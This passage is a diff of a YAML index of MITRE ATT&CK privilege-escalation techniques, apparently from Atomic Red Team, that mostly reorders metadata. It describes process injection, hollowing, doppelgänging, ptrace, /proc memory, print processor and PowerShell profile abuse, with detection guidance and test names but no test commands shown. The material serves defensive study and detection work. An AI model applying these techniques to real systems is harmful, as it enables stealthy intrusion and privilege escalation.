+      - url: https://attack.mitre.org/techniques/T1055/002
+        external_id: T1055.002
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
     atomic_tests: []
   T1546.013:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.013
-        url: https://attack.mitre.org/techniques/T1546/013
-      - source_name: Microsoft About Profiles
-        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
-        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
-          14, 2019.
-      - source_name: ESET Turla PowerShell May 2019
-        url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
-        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
-          usage. Retrieved June 14, 2019.
-      - source_name: Wits End and Shady PowerShell Profiles
-        url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
-        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
-          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
-      - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
-        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
-          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
-        source_name: Malware Archaeology PowerShell Cheat Sheet
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: PowerShell Profile
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T21:31:31.082Z'
+      created: '2020-01-24T15:11:02.758Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: "Adversaries may gain persistence and elevate privileges by executing
         malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>)
         is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001)
@@ -17002,20 +17351,8 @@ privilege-escalation:
         \n\nAn adversary may also be able to escalate privileges if a script in a
         PowerShell profile is loaded and executed by an account with higher privileges,
         such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)"
-      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-24T21:31:31.082Z'
-      created: '2020-01-24T15:11:02.758Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
+      x_mitre_contributors:
+      - Allen DeRyke, ICE
       x_mitre_detection: |-
         Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:
 
@@ -17025,15 +17362,27 @@ privilege-escalation:
         * <code>$Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>
 
         Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'File: File Creation'
-      x_mitre_contributors:
-      - Allen DeRyke, ICE
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/013
+        external_id: T1546.013
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
+        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
+          14, 2019.
+        source_name: Microsoft About Profiles
+      - url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
+        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
+          usage. Retrieved June 14, 2019.
+        source_name: ESET Turla PowerShell May 2019
+      - url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
+        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
+          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
+        source_name: Wits End and Shady PowerShell Profiles
+      - source_name: Malware Archaeology PowerShell Cheat Sheet
+        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
+          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
+        url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
       identifier: T1546.013
     atomic_tests:
     - name: Append malicious start-process cmdlet
@@ -17076,22 +17425,31 @@ privilege-escalation:
         name: powershell
   T1547.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.012
-        url: https://attack.mitre.org/techniques/T1547/012
-      - source_name: Microsoft AddPrintProcessor May 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
-        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
-          October 5, 2020.
-      - source_name: ESET PipeMon May 2020
-        url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
-        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
-          Group. Retrieved August 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Print Processors
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Driver: Driver Load'
+      x_mitre_version: '1.0'
+      modified: '2020-10-09T16:05:36.344Z'
+      created: '2020-10-05T13:24:49.780Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: "Adversaries may abuse print processors to run malicious DLLs during
         system boot for persistence and/or privilege escalation. Print processors
         are DLLs that are loaded by the print spooler service, spoolsv.exe, during
@@ -17110,57 +17468,44 @@ privilege-escalation:
         for them to run.(Citation: ESET PipeMon May 2020) The print spooler service
         runs under SYSTEM level permissions, therefore print processors installed
         by an adversary may run under elevated privileges."
-      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-10-09T16:05:36.344Z'
-      created: '2020-10-05T13:24:49.780Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
+      x_mitre_contributors:
+      - Mathieu Tartare, ESET
       x_mitre_detection: |-
         Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver</code> or <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver</code> as they pertain to print processor installations.
 
         Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Driver: Driver Load'
-      x_mitre_contributors:
-      - Mathieu Tartare, ESET
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/012
+        external_id: T1547.012
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
+        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
+          October 5, 2020.
+        source_name: Microsoft AddPrintProcessor May 2018
+      - url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
+        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
+          Group. Retrieved August 24, 2020.
+        source_name: ESET PipeMon May 2020
     atomic_tests: []
   T1055.009:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.009
-        url: https://attack.mitre.org/techniques/T1055/009
-      - url: http://hick.org/code/skape/papers/needle.txt
-        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
-          Retrieved December 20, 2017.
-        source_name: Uninformed Needle
-      - source_name: GDS Linux Injection
-        url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
-        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
-          Injection Without Ptrace(2). Retrieved February 21, 2020.
-      - source_name: DD Man
-        url: http://man7.org/linux/man-pages/man1/dd.1.html
-        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
-          February 21, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Proc Memory
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:25:55.331Z'
+      created: '2020-01-14T01:34:10.588Z'
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
       description: "Adversaries may inject malicious code into processes via the /proc
         filesystem in order to evade process-based defenses as well as possibly elevate
         privileges. Proc memory injection is a method of executing arbitrary code
@@ -17184,64 +17529,57 @@ privilege-escalation:
         resources, and possibly elevated privileges. Execution via proc memory injection
         may also evade detection from security products since the execution is masked
         under a legitimate process. "
-      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-06-20T22:25:55.331Z'
-      created: '2020-01-14T01:34:10.588Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'File: File Modification'
       x_mitre_detection: "File system monitoring can determine if /proc files are
         being modified. Users should not have permission to modify these in most cases.
         \n\nAnalyze process behavior to determine if a process is performing actions
         it usually does not, such as opening network connections, reading files, or
         other suspicious actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/009
+        external_id: T1055.009
+        source_name: mitre-attack
+      - source_name: Uninformed Needle
+        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
+          Retrieved December 20, 2017.
+        url: http://hick.org/code/skape/papers/needle.txt
+      - url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
+        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
+          Injection Without Ptrace(2). Retrieved February 21, 2020.
+        source_name: GDS Linux Injection
+      - url: http://man7.org/linux/man-pages/man1/dd.1.html
+        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
+          February 21, 2020.
+        source_name: DD Man
     atomic_tests: []
   T1055.013:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.013
-        url: https://attack.mitre.org/techniques/T1055/013
-      - url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
-        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
-          20, 2017.
-        source_name: Microsoft TxF
-      - url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
-        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
-          2017.
-        source_name: Microsoft Basic TxF Concepts
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
-        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
-          December 20, 2017.
-        source_name: Microsoft Where to use TxF
-      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
-        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
-          Process Doppelgänging. Retrieved December 20, 2017.'
-        source_name: BlackHat Process Doppelgänging Dec 2017
-      - url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
-        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
-          way to impersonate a process. Retrieved December 20, 2017.
-        source_name: hasherezade Process Doppelgänging Dec 2017
-      - url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
-        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
-          December 20, 2017.
-        source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Process Doppelgänging
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T15:43:48.848Z'
+      created: '2020-01-14T17:19:50.978Z'
+      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: "Adversaries may inject malicious code into process via process
         doppelgänging in order to evade process-based defenses as well as possibly
         elevate privileges. Process doppelgänging is a method of executing arbitrary
@@ -17275,55 +17613,69 @@ privilege-escalation:
         spawned from (and thus inherits the security context) of the injecting process.
         However, execution via process doppelgänging may evade detection from security
         products since the execution is masked under a legitimate process. "
-      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-02-09T15:43:48.848Z'
-      created: '2020-01-14T17:19:50.978Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'File: File Metadata'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_detection: |-
         Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)
 
         Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)
 
         Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/013
+        external_id: T1055.013
+        source_name: mitre-attack
+      - source_name: Microsoft TxF
+        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
+          20, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
+      - source_name: Microsoft Basic TxF Concepts
+        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
+      - source_name: Microsoft Where to use TxF
+        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
+          December 20, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
+      - source_name: BlackHat Process Doppelgänging Dec 2017
+        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
+          Process Doppelgänging. Retrieved December 20, 2017.'
+        url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
+      - source_name: hasherezade Process Doppelgänging Dec 2017
+        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
+          way to impersonate a process. Retrieved December 20, 2017.
+        url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
+      - source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
+        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
+          December 20, 2017.
+        url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
     atomic_tests: []
   T1055.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.012
-        url: https://attack.mitre.org/techniques/T1055/012
-      - url: http://www.autosectools.com/process-hollowing.pdf
-        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
-          2014.
-        source_name: Leitch Hollowing
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Process Hollowing
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:30:14.640Z'
+      created: '2020-01-14T17:21:54.470Z'
+      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may inject malicious code into suspended and hollowed
         processes in order to evade process-based defenses. Process hollowing is a
         method of executing arbitrary code in the address space of a separate live
@@ -17343,23 +17695,11 @@ privilege-escalation:
         (and thus inherits the security context) of the injecting process. However,
         execution via process hollowing may also evade detection from security products
         since the execution is masked under a legitimate process. "
-      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:31.031Z'
-      created: '2020-01-14T17:21:54.470Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -17372,10 +17712,20 @@ privilege-escalation:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/012
+        external_id: T1055.012
+        source_name: mitre-attack
+      - source_name: Leitch Hollowing
+        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
+          2014.
+        url: http://www.autosectools.com/process-hollowing.pdf
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
       identifier: T1055.012
     atomic_tests:
     - name: Process Hollowing using PowerShell
@@ -17449,48 +17799,34 @@ privilege-escalation:
         name: powershell
   T1055:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Process Injection
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Module: Module Load'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      - 'File: File Modification'
+      - 'File: File Metadata'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T12:30:14.852Z'
       created: '2017-05-31T21:30:47.843Z'
-      modified: '2021-02-09T15:43:50.029Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055
-        url: https://attack.mitre.org/techniques/T1055
-      - external_id: CAPEC-640
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/640.html
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
-          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
-          December 20, 2017.'
-        source_name: ArtOfMemoryForensics
-      - url: https://www.gnu.org/software/acct/
-        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
-          December 20, 2017.
-        source_name: GNU Acct
-      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
-        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
-          Chapter 7 - System Auditing. Retrieved December 20, 2017.
-        source_name: RHEL auditd
-      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
-        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
-          Retrieved December 20, 2017.
-        source_name: Chokepoint preload rootkits
-      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
-        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
-          December 13, 2017.
-        source_name: Microsoft Sysmon v6 May 2017
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
       description: "Adversaries may inject code into processes in order to evade process-based
         defenses as well as possibly elevate privileges. Process injection is a method
         of executing arbitrary code in the address space of a separate live process.
@@ -17503,24 +17839,10 @@ privilege-escalation:
         specific. \n\nMore sophisticated samples may perform multiple process injections
         to segment modules and further evade detection, utilizing named pipes or other
         inter-process communication (IPC) mechanisms as a communication channel. "
-      name: Process Injection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
       x_mitre_contributors:
       - Anastasios Pingios
       - Christiaan Beek, @ChristiaanBeek
       - Ryan Becwar
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      - 'File: File Modification'
-      - 'File: File Metadata'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -17543,10 +17865,39 @@ privilege-escalation:
         to determine if a process is performing actions it usually does not, such
         as opening network connections, reading files, or other suspicious actions
         that could relate to post-compromise behavior. "
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055
+        external_id: T1055
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/640.html
+        external_id: CAPEC-640
+        source_name: capec
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
+          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
+          December 20, 2017.'
+        source_name: ArtOfMemoryForensics
+      - source_name: GNU Acct
+        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
+          December 20, 2017.
+        url: https://www.gnu.org/software/acct/
+      - source_name: RHEL auditd
+        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
+          Chapter 7 - System Auditing. Retrieved December 20, 2017.
+        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
+      - source_name: Chokepoint preload rootkits
+        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
+          Retrieved December 20, 2017.
+        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
+      - source_name: Microsoft Sysmon v6 May 2017
+        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
+          December 13, 2017.
+        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
       identifier: T1055
     atomic_tests:
     - name: Shellcode execution via VBA
@@ -17643,42 +17994,24 @@ privilege-escalation:
         elevation_required: false
   T1055.008:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.008
-        url: https://attack.mitre.org/techniques/T1055/008
-      - source_name: PTRACE man
-        url: http://man7.org/linux/man-pages/man2/ptrace.2.html
-        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
-          Manual. Retrieved February 21, 2020.
-      - source_name: Medium Ptrace JUL 2018
-        url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
-        description: Jain, S. (2018, July 25). Code injection in running process using
-          ptrace. Retrieved February 21, 2020.
-      - source_name: BH Linux Inject
-        url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
-        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
-          21, 2020.
-      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
-          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
-          December 20, 2017.'
-        source_name: ArtOfMemoryForensics
-      - url: https://www.gnu.org/software/acct/
-        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
-          December 20, 2017.
-        source_name: GNU Acct
-      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
-        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
-          Chapter 7 - System Auditing. Retrieved December 20, 2017.
-        source_name: RHEL auditd
-      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
-        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
-          Retrieved December 20, 2017.
-        source_name: Chokepoint preload rootkits
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Ptrace System Calls
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:26:31.766Z'
+      created: '2020-01-14T01:33:19.065Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
